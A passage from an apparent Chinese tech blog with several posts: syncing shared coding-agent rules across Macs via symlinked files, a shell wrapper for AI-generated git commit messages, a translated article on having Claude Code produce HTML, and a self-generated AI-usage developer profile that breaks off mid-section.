- 技术术语可以保留英文，但解释说明应使用中文。

这个主要是为了减少来回切换语言的成本。

2. 明确用户称呼

- 用户称呼为：dong4j。
- 每次回复的开头和结尾都必须称呼用户：`【dong4j】`。

这条看起来有点形式化，但对我来说可以快速确认当前 Agent 是否真的加载了全局规则。

如果某个工具回复时没有带这个称呼，基本可以判断规则没有生效，或者被项目规则冲掉了。

3. 先方案，后修改

- 用户提出需求时，必须先给出实现方案并征求确认。
- 只有在用户确认后，才能修改代码、配置或执行落盘操作。
- 如果用户明确要求“直接修改”“现在写入”“添加到文件”等落盘动作，可以执行该明确指令，但仍需先说明修改范围。

这是最重要的一条。

Code Agent 的默认行为往往偏主动，但在真实项目中，我更希望它像一个谨慎的协作者：

先理解；
再规划；
再确认；
最后执行。

尤其是涉及架构、配置、依赖、数据库、Git 操作时，不应该直接动手。

4. 必须添加必要注释

- 代码必须添加必要注释。
- 新增完整代码文件时，必须补充模块级说明、关键类说明、关键函数 / 方法说明，以及必要的复杂逻辑注释。
- 注释应解释“为什么这样做”和“关键约束是什么”，避免只重复代码本身。
- 不允许只提交裸代码。

我不希望 AI 只给出一坨“能跑”的代码。

尤其是新增完整文件时，至少应该有：

这个模块是做什么的；
类的职责是什么；
关键方法的输入输出和约束；
复杂逻辑为什么这么写。

否则后面维护成本会很高。

5. 遇到不明确需求必须指出

- 遇到不明确、不完整或可能存在多种理解的指令时，必须告知用户不明确之处，并给出合理建议。

LLM 很容易在上下文不足时“脑补”。

这条规则的目标是让它承认不确定，而不是为了完成任务强行猜。

6. 保持最小变更

- 保持最小变更，避免无关重构。
- 不要擅自扩大需求范围。
- 不要引入与当前任务无关的依赖、抽象或架构调整。

这条对应 Karpathy 提到的 Surgical Changes 思路：修改应该像外科手术一样精确，只动该动的地方。andrej-karpathy-skills 也把 Surgical Changes 作为核心原则之一，用来减少 Agent 修改不该修改的代码。

为什么要放到 Synology Drive？

我现在不只一台 Mac。

如果全局规则只放在本机 ~/.codex/AGENTS.md、~/.claude/CLAUDE.md 里，那么换一台机器就要重新配置一遍，而且后续更新也要手动同步。

放到 Synology Drive 后，规则文件本身就变成了一个同步资产。

好处是：

新 Mac 只需要创建软链接；
后续修改一次，多台机器同步；
不依赖某个工具自己的云同步；
可以把这份规则纳入自己的知识库和备份体系；
后续也可以扩展出 project-template/AGENTS.md、cursor-rules/、skills/ 等目录。

这比每个工具各配一份更可控。

多设备初始化脚本

后续换新 Mac 时，可以准备一个初始化脚本：

#!/usr/bin/env bash
set -euo pipefail

GLOBAL_RULE="$HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md"

if [ ! -f "$GLOBAL_RULE" ]; then
  echo "全局规则文件不存在: $GLOBAL_RULE"
  exit 1
fi

mkdir -p ~/.codex
mkdir -p ~/.claude
mkdir -p ~/.config/opencode
mkdir -p ~/.gemini

ln -sf "$GLOBAL_RULE" ~/.codex/AGENTS.md
ln -sf "$GLOBAL_RULE" ~/.claude/CLAUDE.md
ln -sf "$GLOBAL_RULE" ~/.config/opencode/AGENTS.md
ln -sf "$GLOBAL_RULE" ~/.gemini/GEMINI.md

echo "Code Agent 全局规则链接完成："
ls -l ~/.codex/AGENTS.md
ls -l ~/.claude/CLAUDE.md
ls -l ~/.config/opencode/AGENTS.md
ls -l ~/.gemini/GEMINI.md

可以保存为：

~/bin/setup-ai-agent-rules

然后：

chmod +x ~/bin/setup-ai-agent-rules
setup-ai-agent-rules

需要注意的问题

1. 软链接目标路径必须存在

如果 Synology Drive 还没同步完成，软链接虽然存在，但目标文件不可读。

这种情况下，工具可能无法加载规则。

所以新机器初始化时，最好先确认：

test -f $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

2. Cursor 仍然需要单独配置

Cursor 的 User Rules 是 UI 配置，不像 CLI 工具那样有一个稳定的 Markdown 文件路径可以直接软链接。

所以 Cursor 暂时还是单独复制进去。

如果项目级要统一，可以考虑在项目里放：

AGENTS.md

或者：

.cursor/rules/global.mdc

3. 全局规则不要写项目细节

不要在全局规则里写：

- 本项目使用 Spring Boot 3。
- 所有模块都必须使用 Maven。
- Controller 不能返回 ResponseEntity。

这些应该放到具体项目的 AGENTS.md、CLAUDE.md 或 GEMINI.md 中。

全局规则只写所有项目都适用的行为规范。

4. 项目规则可以显式覆盖全局规则

如果某个项目有特殊要求，可以在项目规则里明确写：

# Project Override

- 本项目 commit message 必须使用英文。
- 该规则覆盖用户全局规则中的中文 commit message 偏好。

因为这些规则最终大多会被拼接进上下文，所以不要写模糊冲突的规则，最好显式说明覆盖关系。

后续可以怎么继续演进

这次只是统一了全局规则，但后面还可以继续做几件事。

1. 把规则拆成多个模块

现在是一个 agents.md，后面可以拆成：

AI/
├── global/
│   └── agents.md
├── rules/
│   ├── git.md
│   ├── java.md
│   ├── spring-boot.md
│   ├── testing.md
│   └── shell-safety.md
└── templates/
    ├── AGENTS.md
    ├── CLAUDE.md
    └── GEMINI.md

全局只放最基础的行为准则，项目按需引用更具体的规则。

2. 给不同类型项目准备模板

比如：

templates/
├── java-backend/AGENTS.md
├── node-service/AGENTS.md
├── docs-site/AGENTS.md
└── ai-native-platform/AGENTS.md

新项目初始化时直接复制对应模板。

3. 将规则纳入 dotfiles 管理

如果后续本地环境配置越来越多，可以把软链接脚本放到 dotfiles 里：

dotfiles/
├── install.sh
├── ai/
│   └── setup-agent-rules.sh
└── shell/

Synology Drive 保存规则内容，dotfiles 保存安装逻辑。

4. 增加规则生效检测

例如写一个脚本检查软链接是否正常：

#!/usr/bin/env bash

files=(
  "$HOME/.codex/AGENTS.md"
  "$HOME/.claude/CLAUDE.md"
  "$HOME/.config/opencode/AGENTS.md"
  "$HOME/.gemini/GEMINI.md"
)

for file in "${files[@]}"; do
  if [ -L "$file" ] && [ -f "$file" ]; then
    echo "OK: $file -> $(readlink "$file")"
  else
    echo "FAIL: $file"
  fi
done

总结

这次改造的核心其实很简单：

不要让每个 Code Agent 各自长出一套行为习惯，而是用一份统一的全局规则约束它们。

我最后采用的方案是：

在 Synology Drive 中创建统一规则文件：

$HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

将各工具的全局规则文件软链接到这份文件：

~/.codex/AGENTS.md
~/.claude/CLAUDE.md
~/.config/opencode/AGENTS.md
~/.gemini/GEMINI.md

Cursor 通过 User Rules 单独配置同样的内容。
全局规则只放个人行为偏好，项目规则继续放项目上下文。

这件事本身不复杂，但收益很明显：以后不管我使用 Codex、Claude Code、opencode 还是 Gemini CLI，它们都会遵循同一套基础规则，比如中文回复、先给方案、确认后修改、最小变更、必要注释、遇到不明确需求先说明。

对我来说，这其实就是一种面向 Code Agent 的本地工程治理。

以前我们给人写规范、给项目写规范；现在，也需要给 Agent 写规范。

参考

在终端里用 AI 生成 Git 提交记录

Tue, 12 May 2026 00:00:00 GMT

背景

在 IDEA 或其他开发工具里，生成 Git 提交记录已经是一件很简单的事情。

比如我在 IDEA 里会用 IntelliAI Changelog 插件，点一下图标，就可以让 AI 根据当前变更生成一条比较准确的 commit message。对日常开发来说，这个体验很顺手：不用手动翻 diff，也不用纠结这次到底该写 fix、docs 还是 chore。

但到了终端里，事情就稍微麻烦一点。

我本机有不少本地仓库，不全是正式项目。有些是 Surge 配置，有些是 Wiki 知识库，有些是博客依赖目录，还有一些是个人小工具。它们都用 Git 记录变更历史，但我不想每个仓库都手写提交记录。

一开始最直接的办法，是把 staged diff 丢给 Claude：

git diff --cached | claude -p '
根据 git diff 生成一条中文 Conventional Commit message。
只输出 commit message，不要解释。
格式：
<type>(<scope>): <subject>

<body>
' > /tmp/commit-message.txt && git commit -F /tmp/commit-message.txt

这个脚本其实不长，也能用。

问题是，我有多个本地仓库都需要类似能力。每个仓库都复制一份 prompt，后面想改规则时又要到处同步，维护起来就有点烦。所以我最后还是决定封装一个通用脚本：在终端里直接用 AI 生成提交记录，不和某一个项目强绑定。

完善后的脚本

最终我把公共逻辑收敛到一个脚本里：

~/.local/bin/git-with-ai.sh

它做的事情很简单：

进入当前 Git 仓库；
默认执行 git add -A；
读取暂存区文件列表、变更统计和部分 diff；
调用 AI 生成中文 Conventional Commit message；
清理 AI 偶尔输出的代码块、空行和多余说明；
用 git commit -F 完成提交。

默认使用 Claude：

git-with-ai.sh

如果想切换工具，可以通过参数传入：

git-with-ai.sh --tool codex
git-with-ai.sh --tool gemini

为了兼容已有脚本，我也保留了显式提交信息：

git-with-ai.sh "docs: 更新说明"

这样一来，真正和仓库相关的 git-commit.sh 就可以非常薄，只负责进入自己的目录、调用公共脚本、最后 push：

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "$(realpath "$0")")" && pwd)"
cd "$SCRIPT_DIR" || exit 1

GIT_WITH_AI="${GIT_WITH_AI:-$HOME/.local/bin/git-with-ai.sh}"

if [[ ! -x "$GIT_WITH_AI" ]]; then
  echo "未找到可执行的 git-with-ai.sh：$GIT_WITH_AI" >&2
  exit 1
fi

"$GIT_WITH_AI" "$@"
git pull
git push -u origin main

这里有一个小细节：如果公共脚本发现没有可提交变更，我让它返回一个特殊状态码，比如 exit 10。由于项目脚本开启了 set -e，只要 git-with-ai.sh 返回非 0，后面的 git pull 和 git push 就不会继续执行。

而在 Makefile 里，我又给这些提交任务加了 || true，避免某个仓库没有变更或提交失败时影响后续任务：

dependencies/xxx/git-commit.sh --tool claude || true

这样行为就比较符合我的使用习惯：

有变更：AI 生成提交记录，然后提交并推送；
没有变更：当前仓库跳过，不继续 push；
某个仓库失败：不影响后续仓库继续处理。

使用方式

日常单仓库使用时，直接在仓库里执行：

git-with-ai.sh

默认就是 Claude。

如果这次想用 Codex：

git-with-ai.sh --tool codex

如果想用 Gemini：

git-with-ai.sh --tool gemini

我还把 zsh 里的 gic 函数改成了一个薄封装：

gic() {
  $HOME/.local/bin/git-with-ai.sh "$@"
}

所以平时在终端里可以直接敲：

gic
gic codex
gic --tool gemini

对于博客这种有多个依赖仓库的项目，我在 Makefile 里加了统一参数：

AI_COMMIT_TOOL ?= claude
AI_COMMIT_ARGS := --tool $(AI_COMMIT_TOOL)

于是批量提交时可以这样切换工具：

make commit-all
make commit-all AI_COMMIT_TOOL=codex
make commit-dependencies AI_COMMIT_TOOL=gemini

这个改动不复杂，但解决了一个很实际的问题：以后不管是博客、Wiki、Surge 配置，还是其他本地小仓库，只要是 Git 提交，都可以复用同一套 AI commit 逻辑。

使用 Claude Code：HTML 难以置信的奇效【译】

Sat, 09 May 2026 00:00:00 GMT

原帖链接：https://x.com/dotey/status/2052929093461528903?s=20

使用 Claude Code：HTML 难以置信的奇效【译】

原文：

Markdown 已经成为 AI 智能体 (AI Agent) 与我们沟通时最常用的文件格式。它简单、便携、具备一定的富文本 (Rich text) 能力，而且极其容易进行人工修改。你甚至会发现，Claude 已经变得极其擅长在 Markdown 文件里用 ASCII (美国信息交换标准代码，这里指用纯文本符号拼凑成图表) 字符来画图了。

但是，随着 AI 智能体变得越来越强大，我开始觉得 Markdown 变成了一种束缚。面对动辄上百行的 Markdown 文件，我根本没有耐心读下去。我想要更丰富的视觉展现、明亮的色彩和直观的图表，而且希望能够轻松地把它们分享给团队。

另外，我现在越来越少亲自去编辑这些文件了。我更多是把它们当作需求文档 (Specs)、参考资料或是头脑风暴的输出结果。即使需要修改，我通常也是直接写提示词 (Prompt) 让 Claude 去改。这就让 Markdown 最核心的优势——易于人工编辑——荡然无存。

因此，相比 Markdown，我开始更偏爱将 HTML 作为输出格式。我也发现 Claude Code 团队的其他成员正越来越频繁地使用 HTML。下面我想和大家聊聊背后的原因。

（如果你想先看些直观的例子，可以点击这里查看大量示例：https://thariqs.github.io/html-effectiveness/，不过看完记得回来，听我继续讲讲为什么该这么做。）

信息密度 (Information Density)

HTML 能比 Markdown 传达丰富得多的信息。它当然能处理像标题和简单排版这样的基础文档结构，但它的威力远不止于此，它还能完美呈现各种复杂信息，比如：

用表格 (Tables) 展示数据列
用 CSS (层叠样式表，用于控制网页的外观和布局) 展现设计细节
用 SVG (可缩放矢量图形，一种基于代码的清晰图像格式) 绘制精美插图
用 script 标签嵌入代码片段 (Code snippets)
结合 HTML 元素、JavaScript 和 CSS 来实现动态交互
结合 SVG 和 HTML 绘制清晰的工作流图表 (Workflows)
用绝对定位和画布 (Canvases) 展示空间分布数据
用 image 标签直接插入图片

我甚至敢说：只要是 Claude 能读懂的信息，几乎没有什么是不能用 HTML 高效展现出来的。这种特性让 HTML 成为了一种极为高效的载体，无论是模型向你传递深度的信息，还是你进行阅读审查，都无比顺畅。

我发现，如果无法使用 HTML，模型往往会在 Markdown 里做一些极其低效的“骚操作”，比如硬用 ASCII 字符去画图表；或者——这也是我最哭笑不得的一种——像下面这张 Claude Code 截图里那样，用 Unicode (统一码) 字符来生硬地模拟颜色色块。

视觉清晰度与易读性 (Visual Clarity & Ease of Reading)

随着 Claude 能够处理越来越复杂的工作，它写出的需求规格说明和实施计划也变得越来越庞大。在实际工作中，我发现自己基本不会去读超过 100 行的 Markdown 文件，更别提指望团队里的其他人去读了。

但 HTML 文档就好读多了。Claude 可以通过选项卡 (Tabs)、插图、链接等视觉元素，把文档结构整理得井井有条，极其方便导航浏览。它甚至能做到移动端自适应，让你在手机等不同尺寸的设备上都能获得极佳的阅读体验。

分享 Markdown 文件其实挺让人头疼的，因为大多数浏览器本身并不能很好地渲染它们。你通常只能把它们当作附件，硬塞进电子邮件或聊天消息里发给别人。

但有了 HTML，只要你把文件上传到云端（比如传到云存储服务 S3 上），你就可以轻松地把链接分享出去。你的同事可以随时随地用任何设备打开它，并轻松作为参考。

如果你的需求文档、分析报告或者代码审查说明是用 HTML 写的，别人真正去耐心阅读它的概率绝对会大幅提升。

双向交互 (Two-way Interaction)

HTML 允许你与文档进行真实的互动。例如，你可以让 Claude 在页面上加几个滑块 (Sliders) 或旋钮，用来直观地调整设计效果；或者提供一些选项，让你微调算法的参数，看看结果会发生什么变化。你甚至可以要求它加个按钮，让你把微调后的完美参数“一键复制”为提示词，直接粘贴回 Claude Code 里去。

想了解更多关于这种双向交互的例子，可以去读读我之前关于“游乐场 (Playgrounds)”的帖子：https://x.com/trq212/status/2017024445244924382

数据摄取与理解 (Data Ingestion)

为什么我们要用终端工具 Claude Code 来生成 HTML 文件，而不是直接用网页版的 Claude AI 或者 Claude Design 呢？最大的原因之一，就在于 Claude Code 能够摄取极其庞大的上下文 (Context) 信息。

拿写这篇文章来说吧。我让 Claude Code 自动遍历我电脑里的代码文件夹，找出所有由它生成的 HTML 文件，对它们进行分组归类，然后生成一个全新的 HTML 页面，在里面用图表展示每一类文件的特征。你在这篇文章里看到的配图，就是这个工作流的直接产物。

除了本地文件系统，Claude Code 还能通过你的 MCP (模型上下文协议，一种允许 AI 模型访问外部工具和私有数据的标准) 接入其他极其丰富的上下文信息，比如 Slack (团队通讯软件) 聊天记录、Linear (项目追踪工具) 任务看板等。它还能结合浏览器、Git 版本控制历史记录等多种来源获取背景知识。

充满乐趣 (It’s Joyful)

用 Claude 制作 HTML 文档本身就是一件极其好玩的事。它让我感觉自己更深度地参与到了创造的过程中，光凭这份参与感，就足够有吸引力了。

如何开始 (How to Get Started)

我其实有点担心，大家读完这篇文章后，会把它搞成一个专门的 /html 复杂技能指令或者类似的东西。虽然那样做可能也有价值，但我特别想强调的是：你根本不需要做任何繁琐的设置，就能让 Claude 为你生成 HTML。你只需要像平时聊天一样，直接告诉它：“给我做一个 HTML 文件”或者“生成一个 HTML 制品 (Artifact)”就行了。

真正的诀窍在于，你要清楚自己希望这个制品能做什么，以及你会如何使用它。也许随着时间的推移，你会总结出一套自己的技能模板，但就目前而言，我强烈建议你直接从最简单的提示词开始，慢慢摸索它在不同场景下的奇妙用法。

为了让大家有更直观的感受，我已经为各种不同的使用场景制作了许多 HTML 文件。你可以在这里查看所有示例：https://thariqs.github.io/html-effectiveness/，下面是对一些核心场景的概览。

需求、计划与探索 (Specs, Planning & Exploration)

对 Claude 来说，HTML 是一块可以深入探讨问题的广阔画布。当接手一个新问题时，我不再指望它只给我丢出一个单薄的 Markdown 计划，而是期望它能生成一张由多个 HTML 文件交织而成的思考网络。

比如，我会先让 Claude Code 进行头脑风暴，探索几种不同的实现方案；接着，我会让它选中其中一个方案深入展开，可能还会让它画些界面草图或者写几段核心代码片段；最后，当我觉得方向对了，我才会让它写出一份详细的实施计划。等我对计划彻底满意后，我会开启一个新会话，把这些积累下来的 HTML 文件全部喂给它，让它正式开始敲代码。

在验证环节，我也会让负责检查的 AI 智能体会话读取这些 HTML 文件，这样它就能拥有更宏伟的全局视角，清楚我们到底想要实现什么。

提示词示例：

我还没想好新手引导页面 (Onboarding screen) 要走什么风格。请生成 6 种截然不同的方案——在布局、语气和信息密度上做出差异——并把它们放在同一个 HTML 文件的网格布局里，方便我并排对比。请在每个方案旁清晰标注它所做的取舍权衡。
请在一个 HTML 文件里创建一份详尽的实施计划。记得画一些视觉草图，展示数据流向，并补充上我可能需要重点审查的代码片段。排版要清晰，让人容易消化理解。

适用场景：

探索一段代码的其他实现方式
并行探索多种视觉设计方案

代码审查与理解 (Code Review & Understanding)

在 Markdown 文件里生啃代码绝对是一件痛苦的事。但有了 HTML，我们就能优雅地渲染出代码差异对比 (Diffs)、详细的页边注释 (Annotations)、流程图 (Flowcharts) 以及模块结构图等。

你可以用它来理解 AI 智能体写出的复杂代码，获取代码审查建议，或者在提交 PR (Pull Request，程序员提交代码合并请求时的说明) 时向评审人解释你的思路。我发现这种方式往往比 GitHub 自带的差异对比视图好用一万倍，现在我每次提交 PR，都会雷打不动地附带一个 HTML 格式的代码解读页面。

提示词示例：

帮我审查这个 PR，生成一个 HTML 制品来向我解释它的逻辑。我对数据流和背压逻辑 (Backpressure，指接收方处理不过来时向发送方发出减缓发送速率的反馈机制) 不太熟悉，所以请重点剖析这部分。请渲染出真实的代码差异，并在旁边加上行内注释。根据严重程度对你发现的问题进行颜色编码，还可以加上任何有助于传达概念的视觉图表。

适用场景：

创建 PR 的说明文档
审查同事或 AI 提交的 PR
快速理解代码库中的某个特定复杂主题

设计与原型制作 (Design & Prototypes)

Claude Design 的底层逻辑就是 HTML，因为即使你最终产品的渲染终端不是网页，HTML 在表达设计理念方面依然具有无可匹敌的优势。Claude 可以先用 HTML 快速勾勒出设计草图，然后再把它翻译成你需要的编程语言，不管是 React、Swift 还是其他语言。

你还可以用它来制作丝滑的交互原型，比如动画效果或用户操作链路。不妨试着让 Claude 帮你加上一些滑块和旋钮，这样你就能亲自上手，把细节微调到你心目中的完美状态。

提示词示例：

我想为一个新的结账按钮做个交互原型：点击它时，它会播放一段动画，然后迅速变成紫色。请生成一个带有几个滑块和选项的 HTML 文件，让我能反复测试这套动画的不同参数配置。记得给我提供一个“复制”按钮，方便我把试出来觉得完美的参数一键复制下来。

适用场景：

创建设计系统 (Design system) 的相关组件资产
直观地微调 UI 组件细节
将枯燥的组件库可视化展现
制作充满乐趣的动画交互原型

报告、研究与学习 (Reports, Research & Learning)

Claude Code 极其擅长整合海量的多源数据，并将它们提炼成可读性极强的报告。你可以让 Claude 去搜索你的 Slack 聊天记录、你的代码库、Git 提交历史甚至整个互联网，然后为你自己、你的领导或者你的团队生成一份一目了然的精美报告。

你可以将它排版成一篇长篇 HTML 文档、一个带交互的解说页面，甚至是一个幻灯片/演示文稿 (Deck)。别忘了提醒 Claude 尽情使用 SVG 格式来绘制图表，这会让报告的视觉表现力瞬间拉满。

例如，在我撰写关于提示词缓存 (Prompt Caching) 的深度文章时，我让 Claude 阅读了相关模块的 Git 历史记录，然后生成了一份深度的 HTML 研究报告，帮我系统梳理了我们在此期间对缓存逻辑做过的所有修改。

提示词示例：

我一直搞不懂我们的限流器 (Rate limiter) 到底是怎么工作的。请阅读相关代码，并为我生成一个单页的 HTML 讲解文档：包含一个令牌桶机制 (Token-bucket flow) 的数据流向图、3 到 4 段带有详细注释的核心代码片段，并在页面底部单列一个“常见陷阱 (Gotchas)”部分。请优化排版布局，确保别人只读一遍就能彻底弄懂。

适用场景：

总结某个复杂功能的工作原理
向我通俗解释一个晦涩的概念
给老板快速生成精美的本周工作汇报
给领导层出具直观的故障/事故复盘报告
自动绘制 SVG 插图、流程图和技术架构图

有时候，单纯靠文字输入框很难准确描述你的复杂需求。遇到这种情况，我会让 Claude 专门为我手头上的工作，快速搭建一个“用完即走”的临时可视化编辑器。它不是一个成熟的产品，也不是一个可以反复利用的通用工具，仅仅是一个专为这批特定数据量身定制的单一 HTML 文件。

这里的核心窍门在于，一定要在界面上设计一个导出功能：比如一个“复制为 JSON”或“复制为提示词”的按钮，这样你就能把你在这个精美 UI 里一顿操作后的成果，直接粘贴回 Claude Code 里继续下一步工作。

提示词示例：

我需要重新梳理这 30 个 Linear 任务单的优先级。请给我做一个 HTML 文件，把每个任务做成一张可拖拽的卡片，横跨分为“现在 (Now) / 接下来 (Next) / 以后再说 (Later) / 砍掉 (Cut)”四个栏目。你可以根据你的理解先帮我预先排序好。最后加一个“复制为 Markdown”的按钮，一键导出最终的分类排序结果，并且为每个分类补充一句简短的判断理由。
这里是我们的功能开关 (Feature flag) 配置文件。请为它生成一个基于表单的编辑器，按功能模块对开关进行合理分组，展示它们之间的依赖关系；如果我打开了一个开关，但它的前置依赖开关还处于关闭状态，请弹窗警告我。最后加一个“复制差异”的按钮，只导出我修改过的键值对。
我正在调优这个系统提示词 (System prompt)。请做一个左右对照的编辑器：左边是可编辑的提示词模板，变量槽 (Variable slots) 要高亮显示；右边放 3 个示例输入源，当我修改左边的模板时，右边要能实时渲染出填入变量后的最终效果。界面上还要有字符和 Token (大语言模型处理文本的基本单位) 的计数器，以及一个一键复制按钮。

适用场景：

对任何事物进行重新排序、分类分诊或分组（任务单、测试用例、用户反馈）
编辑结构化配置信息（功能开关、环境变量、带有复杂约束条件的 JSON/YAML）
借助实时预览功能调优提示词、模板或文案
整理数据集、批准/拒绝特定数据行、给示例打标签并导出选中结果
为长文档、录音文稿或代码差异添加详细批注，并导出批注内容
挑选那些用纯文字极其痛苦才能描述清楚的参数：颜色代码、动画缓动曲线 (Easing curves)、裁剪区域、Cron 定时任务表达式 (用于配置服务器定时执行任务的时间格式)、正则表达式 (Regexes) 等。

常见问题解答 (Frequently Asked Questions)

我一直在向很多人安利我是如何彻底倒向 HTML 阵营的，期间也经常被问到以下几个高频问题。

这样不会很浪费 Token 效率吗？
确实，Markdown 通常消耗的 Token 更少。但我发现，HTML 极强的表现力以及它极高的人工阅读率，让我整体上获得了好得多的输出结果。在 Opus 4.7 模型高达 100 万 (1MM) 的庞大上下文窗口里，多花的这点 Token 几乎是可以忽略不计的。

那你现在什么时候还会用 Markdown？
说实话，我现在几乎干什么都不用 Markdown 了，不过我承认我可能已经在“HTML 极端主义者”的道路上走得太远了。

怎么查看生成的 HTML 文件？
我通常直接在本地用浏览器打开它（你也可以直接让 Claude 帮你打开）。如果想把链接发给别人，直接传到云端 S3 上就行。

这生成起来不比 Markdown 慢吗？
确实更慢！生成 HTML 的时间可能是生成 Markdown 的 2 到 4 倍，但我亲身测试下来，生成的结果绝对物超所值，值得等待。

那版本控制怎么办？
老实说，这确实是 HTML 最大的痛点之一。相比起清爽的 Markdown，HTML 文件在版本控制工具里的差异对比 (Diffs) 非常杂乱，代码审查起来比较头疼。

怎么让 Claude 生成的页面符合我的审美，不至于太丑？
Claude 内置的前端设计插件已经能帮它生成相当不错的 HTML 页面了。但如果你想让页面完全契合你们公司的品牌风格，你可以让 Claude 扫描你们的代码库，生成一个专属的“设计系统 HTML 文件”。之后，你可以把这个文件作为参考资料丢给 Claude，让它在生成其他 HTML 页面时“照猫画虎”，保持风格的高度一致。

保持人机协同 (Stay in the Loop)

说到底，我觉得自己如此钟爱 HTML 的根本原因在于：它让我真切地感觉到，自己依然在这个循环之中，依然在与 Claude 并肩作战。

我之前一度很恐惧，既然我连几百行的 Markdown 计划书都懒得仔细看了，那以后是不是只能两眼一抹黑，任由 Claude 自己去盲目做决定了？但现在我很高兴地说，因为有了 HTML，我感觉自己比以往任何时候都更紧密地参与到了这段人机协同的创作旅程中。

希望你也能尽快体会到这种乐趣。

我的 AI Native 开发者画像（2026）

Fri, 08 May 2026 00:00:00 GMT

我的 AI Native 开发者画像（2026）

基于 196 天的本地 Claude Code + Codex 对话数据自动生成 · 2026-05-08T15:18:22+08:00 默认对外分享版：项目名已匿名，敏感字段已清洗。

一览

在 196 天里完成 481 次 Claude sessions + 296 次 Codex threads，共 1.9万 条 Claude 消息
日均产出：20.69 commits / 8.1万 行代码变动 / 28.23 GitHub contributions
同时维护 18 个本地仓库，横跨 74 类语言/文件扩展
同期 GitHub：2,155 commits / 1 PRs / 30 issues / 2,682 总贡献
本地 git：1,966 commits / +5.24M / -2.46M
AI 投入：27.24M Claude 新付费 token + 1.46B Codex token；复用 215.98M 缓存（占 Claude I/O 88.8%）
主力工具：Claude Code + Codex CLI

🚀 Velocity & Leverage — AI 让一个人拥有了小团队的交付能力

18 个仓库、74 类语言/文件扩展、日均 20.69 commits。这里的价值不只是更快写代码，而是能在多个上下文之间持续推进。 | 指标 | 数值 | 说明 | | --- | ---: | --- | | 日均 commits | 20.69 | 本地 git commits / 活跃天数 | | 日均代码变动 | 8.1万行 | additions + deletions / 活跃天数 | | 同时维护仓库 | 18 个 | 候选仓库中过去一年有当前用户 commit | | 跨栈语言 | 74 类 | 基于 git numstat 文件扩展估算 | | GitHub 贡献爆发 | 2025-12-31~~2026-01-05；2026-01-07~~2026-01-12；2026-01-14~2026-01-16 | 连续 3+ 天 daily > 20 的窗口 | | 开源影响力 | 128 stars | 跨 24 个被 star 的仓库 |

🤖 AI-Native 实践

不是偶尔问问 AI，而是把多模型、planning、skill、hook 和本地自动化接到日常开发链路里。

多模型编排

模型	sessions / threads	spent tokens	cache-read	用途倾向
glm-4.7	0	11.48M	68.84M	补充模型 / 特定任务
glm-5.1	0	6.64M	76.39M	补充模型 / 特定任务
mimo-v2.5-pro	0	3.94M	6.74M	补充模型 / 特定任务
MiniMax-M2.1	0	2.13M	14.88M	补充模型 / 特定任务
deepseek-v4-pro	0	98.8万	20.34M	补充模型 / 特定任务
claude-sonnet-4-6	0	77.6万	13.53M	快速迭代 / 批量任务
claude-opus-4-7	0	57.5万	3.22M	深度推理 / 长上下文
deepseek-v4-flash	0	40.6万	8.02M	补充模型 / 特定任务
gpt-5.2-codex (Codex)	71	755.53M	—	代码协作 / 仓库执行
gpt-5.5 (Codex)	28	322.93M	—	代码协作 / 仓库执行
gpt-5.3-codex (Codex)	11	152.56M	—	代码协作 / 仓库执行
gpt-5.1-codex-max (Codex)	37	93.77M	—	代码协作 / 仓库执行
gpt-5.2 (Codex)	24	58.71M	—	代码协作 / 仓库执行

高级能力深度使用

Plan-mode: 0 次
Effort 调节: 0 次
Skill 调用: 8 次；Skills 共 30 个
Plans: 0 份；Hooks: 11 个；MCP servers: 0 个；Automations: 0 个；Rules: 1 个

Prompt caching 熟练度

每花费 1 个新 token，复用 7.93 个缓存 token（cache-read 占 Claude I/O 的 88.8%）。

Reasoning effort 偏好

medium 170（57.4%） · unspecified 104（35.1%） · high 12（4.1%） · low 10（3.4%）

🔧 AI 基础设施 — 不只用 AI，还在给 AI 造工具

从 skill 到 hook 到 automation，重点是把一次性的提示词沉淀成可复用的工作流。

自建 / 本地 Skills

名称	描述	工具
sora	Use when the user asks to generate, edit, extend, poll, list, download, or delete Sora videos, creat	Codex
wechat-article-to-markdown	Fetch WeChat Official Account (微信公众号) articles from mp.weixin.qq.com and convert to Markdown. 微信文章转	Codex
pdf	Use when tasks involve reading, creating, or reviewing PDF files where rendering and layout matter;	Codex
playwright	Use when the task requires automating a real browser from the terminal (navigation, form filling, sn	Codex
resume-optimizer	面向求职者的简历审计与优化 skill。用于：(1) 深度审计简历内容，定位最影响面试通过率的问题 (2) 将职责型表述改写为成果型表述，突出量化结果、业务价值与交付产物 (3) 结合目标岗位 JD	Codex
drawio	Always use when user asks to create, generate, draw, or design a diagram, flowchart, architecture di	Codex
llm-wiki	Build and maintain a Karpathy-style LLM knowledge base — a self-compiling Obsidian markdown wiki whe	Codex
doc	Use when the task involves reading, creating, or editing `.docx` documents, especially when formatti	Codex
architecture-diagram	Create professional, dark-themed architecture diagrams as standalone HTML files with SVG graphics. U	Codex
readme-skill	生成一份对外可分享、脱敏的 AI-Native 开发者 README。量化展示我对 Claude Code + Codex CLI 的使用深度、AI 协作风格、项目与领域分布、兴趣主题，以及与 G	Codex

安装的 Skills

名称	描述	工具
write	Invoke only when explicitly asked to write, edit, or polish prose in Chinese or English. Strips AI w	Claude
defuddle	Extract clean markdown content from web pages using Defuddle CLI, removing clutter and navigation to	Claude
design	Invoke when building any UI, component, page, or visual interface. Produces distinctive design with	Claude
learn	Invoke when diving deep into an unfamiliar domain, preparing a research article, or turning collecte	Claude
think	Invoke before writing any code for a new feature, design, or architecture decision. Turns rough idea	Claude
humanizer-zh	去除文本中的 AI 生成痕迹。适用于编辑或审阅文本，使其听起来更自然、更像人类书写。基于维基百科的”AI 写作特征”综合指南。检测并修复以下模式：夸大的象征意义、宣传性语言、以 -ing 结尾的肤	Claude
hunt	Invoke when debugging any error, crash, unexpected behavior, or failing test. Finds root cause befor	Claude
wechat-article-to-markdown	Fetch WeChat Official Account (微信公众号) articles from mp.weixin.qq.com and convert to Markdown. 微信文章转	Claude
obsidian-markdown	Create and edit Obsidian Flavored Markdown with wikilinks, embeds, callouts, properties, and other O	Claude
health	Invoke when Claude ignores instructions, behaves inconsistently, hooks malfunction, or MCP servers n	Claude
read	Invoke when given any URL, web page link, or PDF to read. Fetches the content as clean Markdown via	Claude
find-skills	Helps users discover and install agent skills when they ask questions like “how do I do X”, “find a	Claude

🛠️ AI 协作风格

